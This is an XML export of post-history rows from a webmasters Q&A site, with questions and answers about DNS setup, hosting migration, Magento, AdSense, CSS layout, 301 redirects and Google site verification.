  <row Id="27195" PostHistoryTypeId="2" PostId="11940" RevisionGUID="c03d64d5-2995-4869-abbf-be773a43a316" CreationDate="2011-04-10T03:18:38.403" UserId="5362" Text="Civil penalties for copyright violations are stiff.  I always send a certified letter to the owner of the site as well as the hosting company notifying them that I am the legal copyright owner of the content and that I consider their site to be a derivative copy of mine.  Mention that by copying your ideas, text, content or pictures, etc. they are in violation of the DMCA (Digital Millennium Copyright Act).&#xD;&#xA;&#xD;&#xA;Then I tell them that I expect immediate removal of the content and kindly explain the legal consequences if they do not.  The tone of the letter should not be threatening... just explanatory and informational.&#xD;&#xA;&#xD;&#xA;If the site is not taken down, you can hire a lawyer or just forget about it and move on... your choice." />
  <row Id="27196" PostHistoryTypeId="2" PostId="11941" RevisionGUID="64cb02d4-d7dd-4fce-8757-5cae9a59d03e" CreationDate="2011-04-10T03:26:31.050" UserId="5362" Text="First off, the wording of your question very unclear, but I'll take a stab at it anyway...&#xD;&#xA;&#xD;&#xA;I don't believe you would need to enter any IP addresses because the DNS takes care of that automatically." />
  <row Id="27197" PostHistoryTypeId="2" PostId="11942" RevisionGUID="8034c9d5-2a69-44cc-892d-9d75ea11cb53" CreationDate="2011-04-10T03:34:44.350" UserId="5362" Text="Why not [osCmax][1] since it's derived from osCommerce; what you're familiar with?&#xD;&#xA;&#xD;&#xA;If not, then [Zen Cart][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oscmax.com&#xD;&#xA;  [2]: http://www.zen-cart.com/" />
  <row Id="27198" PostHistoryTypeId="6" PostId="11918" RevisionGUID="45b84415-1f4b-415a-9119-a9a14a25c7bc" CreationDate="2011-04-10T05:09:27.757" UserId="6707" Comment="added tags" Text="&lt;web-hosting&gt;&lt;microsoft&gt;&lt;management&gt;&lt;automation&gt;&lt;cloud&gt;" />
  <row Id="27202" PostHistoryTypeId="25" PostId="11934" RevisionGUID="059034e7-443b-4bc2-99a4-8bfef6c1baae" CreationDate="2011-04-10T06:09:05.627" Comment="http://twitter.com/#!/StackWebmasters/status/56961882665402368" />
  <row Id="27208" PostHistoryTypeId="2" PostId="11951" RevisionGUID="2269b724-9aab-4867-b4db-26f960ad790f" CreationDate="2011-04-10T08:41:10.837" UserId="6730" Text="Are you using the default Magento theme or a custom one?&#xD;&#xA;&#xD;&#xA;If you are using a custom theme then I would suggest temporarily switching to the default Magento one to see if the issue appears there.&#xD;&#xA;&#xD;&#xA;If it doesn't then it's likely an issue with the theme rather than Magento." />
  <row Id="27209" PostHistoryTypeId="2" PostId="11952" RevisionGUID="7c831d7d-c1de-46ad-b514-1a4fe9a8d5c9" CreationDate="2011-04-10T08:42:45.673" UserId="6149" Text="which attributes should be in &quot;share&quot; facebook button (share_url or href with 'u' and 't' parameters)?&#xD;&#xA;&#xD;&#xA;(facebook delete any documentation and redirect to like button)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27210" PostHistoryTypeId="1" PostId="11952" RevisionGUID="7c831d7d-c1de-46ad-b514-1a4fe9a8d5c9" CreationDate="2011-04-10T08:42:45.673" UserId="6149" Text="which attributes should be in &quot;share&quot; facebook button (share_url or href with 'u' and 't' parameters)?" />
  <row Id="27211" PostHistoryTypeId="3" PostId="11952" RevisionGUID="7c831d7d-c1de-46ad-b514-1a4fe9a8d5c9" CreationDate="2011-04-10T08:42:45.673" UserId="6149" Text="&lt;facebook&gt;" />
  <row Id="27212" PostHistoryTypeId="2" PostId="11953" RevisionGUID="6b4e8b34-cbb9-4ee0-98b8-d4f58aa46524" CreationDate="2011-04-10T08:44:29.353" UserId="6730" Text="You can do partial refunds in Magento quite easily.&#xD;&#xA;&#xD;&#xA;Go to the order that needs a partial refund, click Credit Memo and then scroll down to the table of products the customer purchased. Change the quantities to the amount you want to purchase and then continue with the credit memo.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;If the products are stock managed items (i.e. if the stock level decreases after sales) then the item should then be returned to the stock automatically. Note: I have never used stock management so this may be incorrect." />
  <row Id="27215" PostHistoryTypeId="2" PostId="11955" RevisionGUID="d0acb334-1fc7-4e08-8a4b-411a3e1b18fd" CreationDate="2011-04-10T08:57:30.813" UserId="6730" Text="For anyone in the UK - we use [SagePay][1] who basically offer the same as Braintree.&#xD;&#xA;&#xD;&#xA;They allow you to bypass PCI Compliance by storing all of the secure information for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sagepay.com" />
  <row Id="27216" PostHistoryTypeId="25" PostId="11952" RevisionGUID="ee19efa1-372a-47da-bd13-bc13f8bed5e1" CreationDate="2011-04-10T09:09:05.700" Comment="http://twitter.com/#!/StackWebmasters/status/57007181979058176" />
  <row Id="27217" PostHistoryTypeId="2" PostId="11956" RevisionGUID="096897ee-7131-42f4-930d-8fc1a9bf0eb5" CreationDate="2011-04-10T09:41:45.277" UserId="1497" Text="I'm thinking of placing AdWords on my site, but I'd hate to show AdWords to my paying customers. &#xD;&#xA;&#xD;&#xA;Does AdWords policy allow this - showing AdWords only for some users - or do they require that they are shown to all users?" />
  <row Id="27218" PostHistoryTypeId="1" PostId="11956" RevisionGUID="096897ee-7131-42f4-930d-8fc1a9bf0eb5" CreationDate="2011-04-10T09:41:45.277" UserId="1497" Text="Show AdWords for some users" />
  <row Id="27219" PostHistoryTypeId="3" PostId="11956" RevisionGUID="096897ee-7131-42f4-930d-8fc1a9bf0eb5" CreationDate="2011-04-10T09:41:45.277" UserId="1497" Text="&lt;adwords&gt;" />
  <row Id="27220" PostHistoryTypeId="2" PostId="11957" RevisionGUID="c44850d1-5bba-4d35-ae2d-669d235482a6" CreationDate="2011-04-10T10:04:02.693" UserId="6731" Text="Try this website http://www.searchenginegenie.com/ there are unlimited free SEO tools. " />
  <row Id="27221" PostHistoryTypeId="2" PostId="11958" RevisionGUID="9f16067d-5e13-4ff8-8a21-034496abd4be" CreationDate="2011-04-10T11:03:16.597" UserId="2739" Text="I have just tried to log-in to this website and their certificate is invalid:&#xD;&#xA;&#xD;&#xA;http://www.axa.co.uk/insurance/myaxaspace (12:02 GMT, 10th April 2011)&#xD;&#xA;&#xD;&#xA;Firefox says it the certificate is &quot;*not trusted because no issuer chain was provided*&quot;, but I'm not sure if this is what you're after." />
  <row Id="27222" PostHistoryTypeId="2" PostId="11959" RevisionGUID="d8956e7a-765c-4360-a5c2-a25f3dac2153" CreationDate="2011-04-10T11:23:48.273" UserId="6593" Text="Since you wish to put ads on *your* site, I hope you're talking about Adsense. (Adwords are ads that are put by advertisers alongside Google search results and on *others* website.)&#xD;&#xA;&#xD;&#xA;I don't think Google will have any problem with Adsense showing up only for non-paying members. Just make sure you comply with their regular TOS and you should be ok." />
  <row Id="27223" PostHistoryTypeId="2" PostId="11960" RevisionGUID="9d469221-5f2b-41ef-a6f7-aa6d15e32fd1" CreationDate="2011-04-10T11:47:44.580" UserId="6732" Text="For a couple of years, I maintained a &quot;mirror&quot; of my blog on a free page hosted in Googlepages. Over the years, people started using links to that mirror instead of the primary site - and the Google bot learned about it, thus offering responses with URLs that pointed to the mirror (ttsiodras.googlepages.com) domain.&#xD;&#xA;&#xD;&#xA;After some time, Google announced it would migrate Googlepages to Google Sites, where people wouldn't be able to write their own HTML/CSS/JS, and instead would be forced to use an online editor. I had no desire to spend any effort doing that, so I (a) setup the redirection offered by Google, from the mirror URLs (ttsiodras.googlepages.com/whatever) to the new Google Sites page (https://sites.google.com/site/ttsiodras) and (b) modified my Google Sites page to contain direct links to my main blog page. That way, the &quot;mirror&quot; URLs could still be used to find the content.&#xD;&#xA;&#xD;&#xA;And it worked fine. Until now - or at least, until recently.&#xD;&#xA;&#xD;&#xA;I checked yesterday, and found out that URLs to the mirror site (ttsiodras.googlepages.com) are now getting 404s, and are not redirected to Google Sites.&#xD;&#xA;&#xD;&#xA;Did something change, recently, in the way these redirects work? (I checked some other peoples googlepages and it appears that it's not a &quot;global&quot; thing - they work).&#xD;&#xA;&#xD;&#xA;Maybe the redirection was a temporary service offered by Google? If so, I can't understand why - the resources involved in this are surely trivial for someone like Google.&#xD;&#xA;&#xD;&#xA;I have already asked [on the Google forums][1], but got no response.&#xD;&#xA;&#xD;&#xA;Any hints/suggestions most welcome.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/sites/thread?tid=45119dd2c4163a82&amp;hl=en" />
  <row Id="27224" PostHistoryTypeId="1" PostId="11960" RevisionGUID="9d469221-5f2b-41ef-a6f7-aa6d15e32fd1" CreationDate="2011-04-10T11:47:44.580" UserId="6732" Text="Googlepages URLs (to my old site) are no longer redirected to Google Sites" />
  <row Id="27225" PostHistoryTypeId="3" PostId="11960" RevisionGUID="9d469221-5f2b-41ef-a6f7-aa6d15e32fd1" CreationDate="2011-04-10T11:47:44.580" UserId="6732" Text="&lt;google&gt;&lt;redirects&gt;" />
  <row Id="27226" PostHistoryTypeId="25" PostId="11956" RevisionGUID="c659c08f-ce1e-412e-959a-c794aa21134e" CreationDate="2011-04-10T12:09:06.077" Comment="http://twitter.com/#!/StackWebmasters/status/57052478826483712" />
  <row Id="27227" PostHistoryTypeId="2" PostId="11961" RevisionGUID="dcbb6e90-33e3-447a-8ac3-2f0dc846868b" CreationDate="2011-04-10T12:24:25.857" UserId="4317" Text="I am trying to layout a list vertically that has a checkbox, image and description....&#xD;&#xA;&#xD;&#xA;see here for an example...&#xD;&#xA;&#xD;&#xA;http://www.sk8loc8.com/deposit/list.jpg&#xD;&#xA;&#xD;&#xA;As you can see the images look a bit too high and i would like them to 'sink' a little to line up with the text and checkbox.  &#xD;&#xA;&#xD;&#xA;i put them in a table to get around the issue, but it acts just the same as an unordered list and the image sits higher.&#xD;&#xA;&#xD;&#xA;i tried using valign=top for the text and checkbox but this doesnt seem to work, neither does adding a bottom-margin to the text, or adding a top-margin to the image.&#xD;&#xA;&#xD;&#xA;does anyone have any advice? &#xD;&#xA;&#xD;&#xA;here is the markup...&#xD;&#xA;&#xD;&#xA;    &lt;table id=&quot;mapLegend&quot; class=&quot;mapLegendTable&quot; border=&quot;1&quot; cellpadding=&quot;5px&quot;&gt;&#xD;&#xA;            &lt;tr title=&quot;A skatepark we know exists&quot;&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;&lt;input type=&quot;checkbox&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td&gt;&lt;img src=&quot;assets/images/gIconRedDot.png&quot; alt=&quot;Skatepark&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;Park&lt;/td&gt;&#xD;&#xA;            &lt;/tr&gt;&#xD;&#xA;             &lt;tr title=&quot;A skatepark we strongly recommend&quot;&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;&lt;input type=&quot;checkbox&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td&gt;&lt;img src=&quot;assets/images/gIconYellowStar.png&quot; alt=&quot;Recommended Skatepark&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;Recommended Park&lt;/td&gt;&#xD;&#xA;            &lt;/tr&gt;&#xD;&#xA;             &lt;tr title=&quot;A Skater Owned Shop&quot;&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;&lt;input type=&quot;checkbox&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td&gt;&lt;img src=&quot;assets/images/gIconSkateshop.png&quot; alt=&quot;Skate Shop&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;Skate Shop&lt;/td&gt;&#xD;&#xA;            &lt;/tr&gt;&#xD;&#xA;             &lt;tr title=&quot;A skatepark we do not know anything about. It MAY exist but we do not know for sure&quot;&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;&lt;input type=&quot;checkbox&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td&gt;&lt;img src=&quot;assets/images/gIconUnconfirmedSpot.png&quot; alt=&quot;Unconfirmed Skatepark&quot; /&gt;&lt;/td&gt;&#xD;&#xA;                &lt;td valign=&quot;top&quot;&gt;Unconfirmed Park&lt;/td&gt;&#xD;&#xA;            &lt;/tr&gt;&#xD;&#xA;        &lt;/table&gt;&#xD;&#xA;&#xD;&#xA;and the old code, as an unordered list...&#xD;&#xA;&#xD;&#xA;    &lt;ul id=&quot;mapLegend&quot;&gt;&#xD;&#xA;                    &lt;li id=&quot;parkIcon&quot; title=&quot;A skatepark we know exists&quot;&gt;&#xD;&#xA;                        &lt;img src=&quot;assets/images/gIconRedDot.png&quot; alt=&quot;Skatepark&quot; /&gt;&lt;span&gt;Park&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;                    &lt;li id=&quot;recommendedParkIcon&quot; title=&quot;A skatepark we recommend&quot;&gt;&#xD;&#xA;                        &lt;img src=&quot;assets/images/gIconYellowStar.png&quot; alt=&quot;Skatepark&quot; /&gt;Recommended Park&lt;/li&gt;&#xD;&#xA;                    &lt;li id=&quot;shopIcon&quot; title=&quot;A Skater Owned Shop&quot;&gt;&#xD;&#xA;                        &lt;img src=&quot;assets/images/gIconSkateshop.png&quot; alt=&quot;Skatepark&quot; /&gt;Skate Shop&lt;/li&gt;&#xD;&#xA;                    &lt;li id=&quot;unconfirmedParkIcon&quot; title=&quot;A skatepark we do not know anything about. It MAY exist but we do not know for sure&quot;&gt;&#xD;&#xA;                        &lt;img src=&quot;assets/images/gIconUnconfirmedSpot.png&quot; alt=&quot;Skatepark&quot; /&gt;Unconfirmed&#xD;&#xA;                        Park&lt;/li&gt;&#xD;&#xA;                &lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27228" PostHistoryTypeId="1" PostId="11961" RevisionGUID="dcbb6e90-33e3-447a-8ac3-2f0dc846868b" CreationDate="2011-04-10T12:24:25.857" UserId="4317" Text="Aligning Images in Tables and Lists" />
  <row Id="27229" PostHistoryTypeId="3" PostId="11961" RevisionGUID="dcbb6e90-33e3-447a-8ac3-2f0dc846868b" CreationDate="2011-04-10T12:24:25.857" UserId="4317" Text="&lt;html&gt;&lt;image&gt;&lt;table&gt;" />
  <row Id="27230" PostHistoryTypeId="2" PostId="11962" RevisionGUID="ae8ee126-135c-418c-b4e1-7b5c2989dd12" CreationDate="2011-04-10T12:30:02.007" UserId="108" Text="Page Rank is just one of the 200+ indicators Google uses.  It isn't even the strongest one. Also, Google only releases Page Rank several months later.  Meaning, when you see a Page Rank for a site it is probably the Page Rank the site had around 4 months ago.&#xD;&#xA;&#xD;&#xA;Google's Toolbar will let you see the Page Rank for a specific site. This site also lets you do a search see what the page rank of a specific URL is, http://www.prchecker.info/check_page_rank.php." />
  <row Id="27236" PostHistoryTypeId="17" PostId="11964" RevisionGUID="5873e745-0744-4be0-8019-b656c141e87d" CreationDate="2011-04-10T12:33:10.537" UserId="-1" Comment="from http://stackoverflow.com/questions/5574781/switching-hosting-from-google-apps-to-godaddy/5611727#5611727" Text="" />
  <row Id="27237" PostHistoryTypeId="2" PostId="11964" RevisionGUID="d5677820-828f-4174-a697-70c4d848bdb6" CreationDate="2011-04-10T12:30:21.923" UserDisplayName="Siji" Text="Sahir,&#xD;&#xA;&#xD;&#xA;It would be really helpful if you can figure out that either your domain on google apps is pointing properly to your godaddy hosting or not.&#xD;&#xA;&#xD;&#xA;You can do the test by running the following command in your command prompt&#xD;&#xA;&#xD;&#xA;tracert www.yourdomain.com&#xD;&#xA;&#xD;&#xA;If possible kindly paste the results so that i can suggest you further.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27238" PostHistoryTypeId="2" PostId="11963" RevisionGUID="9380f925-086b-475e-a74f-290802bd0597" CreationDate="2011-04-07T01:10:52.927" UserDisplayName="Sahir M." Text="I am in a pickle here. I just bought a hosting service from GoDaddy and I already have a domain registered with Google Apps. &#xD;&#xA;&#xD;&#xA;So I went into the domain control center from Google Apps and I changed the nameservers to point to GoDaddy's and then I deleted all the A records and also removed the www and main CNAME. Then I created an A record with host &quot;@&quot; which points to the IP address I got from GoDaddy (this is the server address I see under the category Server in the GoDaddy Hosting Control Center). Also, I see that in this domain center, the domain forwarding is set to forward to my address &quot;www.domainsite.com&quot;. &#xD;&#xA;&#xD;&#xA;So right now when I go to my website I see the error &quot;This website is temporarily unavailable, please try again later.&quot;&#xD;&#xA;&#xD;&#xA;Does anyone know how to set this up properly or know what problem I could be having?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="27239" PostHistoryTypeId="1" PostId="11963" RevisionGUID="9380f925-086b-475e-a74f-290802bd0597" CreationDate="2011-04-07T01:10:52.927" UserDisplayName="Sahir M." Text="Switching hosting from Google Apps to GoDaddy" />
  <row Id="27240" PostHistoryTypeId="3" PostId="11963" RevisionGUID="9380f925-086b-475e-a74f-290802bd0597" CreationDate="2011-04-07T01:10:52.927" UserDisplayName="Sahir M." Text="&lt;google&gt;&lt;dns&gt;&lt;godaddy&gt;" />
  <row Id="27241" PostHistoryTypeId="17" PostId="11963" RevisionGUID="009e0869-629f-4f78-871a-10971435d937" CreationDate="2011-04-10T12:33:10.537" UserId="-1" Comment="from http://stackoverflow.com/questions/5574781/switching-hosting-from-google-apps-to-godaddy" Text="" />
  <row Id="27242" PostHistoryTypeId="2" PostId="11965" RevisionGUID="e8fd9ccf-517a-453d-8bc5-494e9b043be0" CreationDate="2011-04-10T12:56:49.587" UserId="5464" Text="I think by Geo-targeting all the other sub-folders you will be inferring the main top level domain be used for anything else and hence the US market. &#xD;&#xA;&#xD;&#xA;I would not make a sub folder for the US. " />
  <row Id="27243" PostHistoryTypeId="2" PostId="11966" RevisionGUID="65e10078-9e7e-4ed0-825f-7d90f30aa92e" CreationDate="2011-04-10T13:41:16.790" UserId="5464" Text="MX records are for email so thats out. &#xD;&#xA;SPF records relate to email as well ([Sender Policy Framework][1])&#xD;&#xA;&#xD;&#xA;So that leaves you with an A record or a CNAME. I normally use a CNAME if i am not provided with an IP address. Therefore i would opt for an A record. &#xD;&#xA;&#xD;&#xA;One thing you have not indicated is whether you have a Domain Name already?? If not you will need to purchase one of those through a domain register i would look for one which gives you full DNS control you can then use that to point the Domain Name at the IP address you have using an A record.  The company who you purchase the domain name though normally act as your Name Servers as well. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openspf.org/" />
  <row Id="27244" PostHistoryTypeId="2" PostId="11967" RevisionGUID="cda9930d-6636-4e8e-831c-557a02d2ccb7" CreationDate="2011-04-10T14:04:20.957" UserId="5806" Text="Yes can do that. Just like you do not have to show ads on every page.&#xD;&#xA;&#xD;&#xA;Depending on how your site is implemented, the paying pages may have a different URL and therefore would be considered different pages.&#xD;&#xA;&#xD;&#xA;Since I assume, the Googlebot is not a paying customer, they shouldn't even be able to see that!&#xD;&#xA;" />
  <row Id="27245" PostHistoryTypeId="2" PostId="11968" RevisionGUID="4c3989c3-346e-4401-b5d8-3ee306022db1" CreationDate="2011-04-10T14:09:52.760" UserId="5806" Text="The list will do. You need to apply the 'vertical-align:top' style to the images. I usually use 'middle' for this which looks a little better for one-liners.&#xD;&#xA;&#xD;&#xA;This can be done in your image direction, as in:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;assets/images/gIconRedDot.png&quot; alt=&quot;Skatepark&quot; style=&quot;vertical-align:top&quot;/&gt;&#xD;&#xA;&#xD;&#xA;Or by CSS:&#xD;&#xA;&#xD;&#xA;    #mapLegend li img {&#xD;&#xA;    vertical-align:top;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27247" PostHistoryTypeId="2" PostId="11969" RevisionGUID="0057c55a-99b2-4ffc-8127-ccb7909fd8ff" CreationDate="2011-04-10T14:49:41.283" UserDisplayName="Devyn" Text="CloudControl.com seems promising to me by offering PHP as the cloud service but I can't find any decent review about it? Most people just refer phpfog.com which is not ready for commercial release. If anyone has experience with it, please drop some lines here." />
  <row Id="27248" PostHistoryTypeId="1" PostId="11969" RevisionGUID="0057c55a-99b2-4ffc-8127-ccb7909fd8ff" CreationDate="2011-04-10T14:49:41.283" UserDisplayName="Devyn" Text="What's your experience with CloudControl?" />
  <row Id="27249" PostHistoryTypeId="3" PostId="11969" RevisionGUID="0057c55a-99b2-4ffc-8127-ccb7909fd8ff" CreationDate="2011-04-10T14:49:41.283" UserDisplayName="Devyn" Text="&lt;php&gt;&lt;cloud&gt;" />
  <row Id="27250" PostHistoryTypeId="17" PostId="11969" RevisionGUID="7d5cacce-25fb-4026-a3e9-281ef55a7f96" CreationDate="2011-04-10T15:06:47.333" UserId="-1" Comment="from http://stackoverflow.com/questions/5612539/whats-your-experience-with-cloudcontrol" Text="" />
  <row Id="27251" PostHistoryTypeId="25" PostId="11969" RevisionGUID="a998c722-caeb-4736-b82c-a4a5be0a5adc" CreationDate="2011-04-10T15:09:06.507" Comment="http://twitter.com/#!/StackWebmasters/status/57097781596270592" />
  <row Id="27252" PostHistoryTypeId="2" PostId="11970" RevisionGUID="33bdc53d-eb25-42be-8c8d-b153204bf9c8" CreationDate="2011-04-10T15:21:04.183" UserId="4142" Text="DNS cannot resolve to individual pages; however, your server can decide what is served up to a client who does not request a specific page. As you mentioned, this is usually index.xxx or default.xxx, depending on what server you use. But, there is a way to do what you're looking for.&#xD;&#xA;&#xD;&#xA;## Step 1: DNS ##&#xD;&#xA;&#xD;&#xA;So, first things first; as Matthew Brookes mentioned in his answer, you'll need to create an A record for that IP address. If this is the only thing on that domain, you probably want to use **@** as your host, which is a wildcard. If I visit example.com, or thisrecorddoesnotexist.example.com, it will direct you to the IP you set in this record.&#xD;&#xA;&#xD;&#xA;This will get you the example.com/script.aspx address, but won't take people directly to it, which brings us to Step 2.&#xD;&#xA;&#xD;&#xA;## Step 2: Default Document ##&#xD;&#xA;&#xD;&#xA;I'm assuming you're using IIS, because of the aspx filename. Anyways, you can set the **Default Document** of your web site to something other than default.aspx or default.htm.&#xD;&#xA;&#xD;&#xA;In IIS properties, under the web site in question, click the 'Documents' tab (Note: This is in IIS6, don't know if 7 is different) and add your script name to the default documents, at the top. That way, whenever someone visits example.com, they will be presented with your script by default.&#xD;&#xA;&#xD;&#xA;## Step 3: Couldn't do Step 2 ##&#xD;&#xA;&#xD;&#xA;Not everybody has access to configure their server, especially if you're using shared hosting of some kind. So, as a backup, you could always create a default.aspx document that [redirects the user][1] to the correct page. This wouldn't require any additional server configuration.&#xD;&#xA;&#xD;&#xA;## Step 4: Profit ##&#xD;&#xA;&#xD;&#xA;So, I think that should do what you're looking for.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1093081/aspx-page-to-redirect-to-a-new-page" />
  <row Id="27253" PostHistoryTypeId="16" PostId="11969" RevisionGUID="7efcf7fb-befa-4340-a735-eeba00af3fcd" CreationDate="2011-04-10T16:51:01.410" UserId="1253" />
  <row Id="27254" PostHistoryTypeId="25" PostId="11961" RevisionGUID="9b769c4a-9738-45e3-8d84-9fef3918e2d1" CreationDate="2011-04-10T18:09:06.970" Comment="http://twitter.com/#!/StackWebmasters/status/57143081618771968" />
  <row Id="27255" PostHistoryTypeId="2" PostId="11971" RevisionGUID="db53a7d6-a725-4bec-b64c-edeeb076dae5" CreationDate="2011-04-10T19:20:00.353" UserId="4232" Text="What are some of the ways to deploy static web content in Apache server directly from an IDE say Netbeans?" />
  <row Id="27256" PostHistoryTypeId="1" PostId="11971" RevisionGUID="db53a7d6-a725-4bec-b64c-edeeb076dae5" CreationDate="2011-04-10T19:20:00.353" UserId="4232" Text="Deploy Static web Content : Apache Server" />
  <row Id="27257" PostHistoryTypeId="3" PostId="11971" RevisionGUID="db53a7d6-a725-4bec-b64c-edeeb076dae5" CreationDate="2011-04-10T19:20:00.353" UserId="4232" Text="&lt;apache&gt;" />
  <row Id="27258" PostHistoryTypeId="2" PostId="11972" RevisionGUID="e59d7175-e103-42f4-8e72-bfff5717ed7d" CreationDate="2011-04-10T19:40:14.257" UserId="5727" Text="I installed a forum, which has a page for member info.  I want this to link to my main sites member info page which is a lot more detailed and interactive.&#xD;&#xA;&#xD;&#xA;The forum membership page has the url:&#xD;&#xA;&#xD;&#xA;member_profile.asp?PF=15434&#xD;&#xA;&#xD;&#xA;If I put a 301 redirect on that page to go my nice member page:&#xD;&#xA;&#xD;&#xA;Users/Tom&#xD;&#xA;&#xD;&#xA; - Would search engines not index member_profile.asp?PF=15434 (as in I don't want that ugly URL appearing anywhere in results)&#xD;&#xA; - Is it OK to use 301's this way?" />
  <row Id="27259" PostHistoryTypeId="1" PostId="11972" RevisionGUID="e59d7175-e103-42f4-8e72-bfff5717ed7d" CreationDate="2011-04-10T19:40:14.257" UserId="5727" Text="Is it ok to use 301's this way?" />
  <row Id="27260" PostHistoryTypeId="3" PostId="11972" RevisionGUID="e59d7175-e103-42f4-8e72-bfff5717ed7d" CreationDate="2011-04-10T19:40:14.257" UserId="5727" Text="&lt;301-redirect&gt;" />
  <row Id="27261" PostHistoryTypeId="2" PostId="11973" RevisionGUID="d553f2a1-e999-4fc3-9ea3-fc9b6bdac57b" CreationDate="2011-04-10T19:45:20.323" UserId="1253" Text="I would say that is fine to do if you cannot rewrite the forum code to display the more friendly URL to begin with. The 301 redirect will prevent the member_profile.asp?PF=15434 page from being indexed at all so only the &quot;nice&quot; member page will show in the search results." />
  <row Id="27262" PostHistoryTypeId="25" PostId="11972" RevisionGUID="7a9eb879-fff3-4c01-b25a-0f375ef40e63" CreationDate="2011-04-10T21:09:06.707" Comment="http://twitter.com/#!/StackWebmasters/status/57188378122264577" />
  <row Id="27263" PostHistoryTypeId="5" PostId="11958" RevisionGUID="35b88e5a-3dbe-4f4e-889e-168c837a9f8a" CreationDate="2011-04-10T21:22:14.600" UserId="2739" Comment="added 52 characters in body" Text="I have just tried to log-in to this website for a legitimate, large British insurance company and their certificate is invalid:&#xD;&#xA;&#xD;&#xA;http://www.axa.co.uk/insurance/myaxaspace (12:02 GMT, 10th April 2011)&#xD;&#xA;&#xD;&#xA;Firefox says that the certificate is &quot;*not trusted because no issuer chain was provided*&quot;, but I'm not sure if this is what you're after." />
  <row Id="27264" PostHistoryTypeId="2" PostId="11974" RevisionGUID="7fea4f8b-b818-4d1d-bbd0-22d41eab9b67" CreationDate="2011-04-10T21:34:38.393" UserId="2739" Text="Check you don't have the CSS value `overflow:hidden` or `overflow-x:hidden` set to any elements that are parents of your table, particularly the `&lt;body&gt;` or `&lt;html&gt;` tags, or any container div." />
  <row Id="27265" PostHistoryTypeId="2" PostId="11975" RevisionGUID="f70b25f1-f159-4485-8a84-6182cdb842ee" CreationDate="2011-04-10T21:40:19.930" UserId="2739" Text="There's nothing wrong with your CSS as `no-repeat` will prevent it from repeating in all browsers.  You may have an issue with speciificty though, i.e. another rule is overiding your background.&#xD;&#xA;&#xD;&#xA;If the link you provided is the actual problem page, can you explain which background image we should be looking at?" />
  <row Id="27266" PostHistoryTypeId="5" PostId="11907" RevisionGUID="78d050a4-6577-430c-9d21-7982e9b81109" CreationDate="2011-04-10T23:02:52.620" UserId="1009" Comment="added 1075 characters in body" Text="Adding a DNS record to your domain's configuration is probably the easiest option for you. The other options require you to modify files on your web server, which you may not have set up if you are only interested in email.&#xD;&#xA;&#xD;&#xA;Instructions for NameCheap:&#xD;&#xA;&#xD;&#xA; 1. [Get the verification code from Google.][1] Make sure you have chosen the DNS method. The code looks something like this: `google-site-verification=owWoTtsd...`&#xD;&#xA; 2. Find the NameCheap settings for your domain, then go to &quot;All Host Records&quot;. You may also copy-paste this address, replacing your domain where appropriate: `https://manage.www.namecheap.com/myaccount/modsingle.asp?domain=YOURDOMAIN.COM&amp;type=hosts&amp;rkey=NC'`&#xD;&#xA; 3. Add a TXT type record with the code from Google in step 1. I guess you should use the &quot;IP ADDRESS/URL&quot; field. The &quot;HOST HAME&quot; field should be `@` or just left blank.&#xD;&#xA; 4. Wait up to 24 hours. DNS changes may actually take up to 72 hours to propagate, but I have sometimes successfully verified after only a a few hours.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:** Quick summary of other 3 verification methods:&#xD;&#xA;&#xD;&#xA;1. **Link to your Google Analytics account:** You needed to verify ownership of the domain if you're using Google Analytics, so this just re-uses the work done for that verification. Of course, one of the other methods had to be used!&#xD;&#xA;2. **Upload an HTML file to your server.** Exactly what it sounds like. Google gives you an HTML file with a special filename that you probably can't guess. You upload it to your server and Google checks if the special file can be downloaded.&#xD;&#xA;3. **Add a meta tag to your site's home page.** Google gives you a different special code, which it looks for in the source of your web site's index page. Here is [an example][2]. The code looks like this: `&lt;meta name=&quot;google-site-verification&quot; content=&quot;rtmnVO7B4xweIZ_O-O1d1RDbww0XlagiIwkKQblhZak&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;The other methods are indeed faster, taking as short as a few seconds to update (assuming you already have a web server set up or previously did the DNS verification for Analytics).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=60216&#xD;&#xA;  [2]: http://www.coolcases.com/" />
  <row Id="27267" PostHistoryTypeId="25" PostId="11971" RevisionGUID="d59ea339-afa2-4366-9331-03d5944dc5fb" CreationDate="2011-04-11T00:09:06.560" Comment="http://twitter.com/#!/StackWebmasters/status/57233677201055744" />
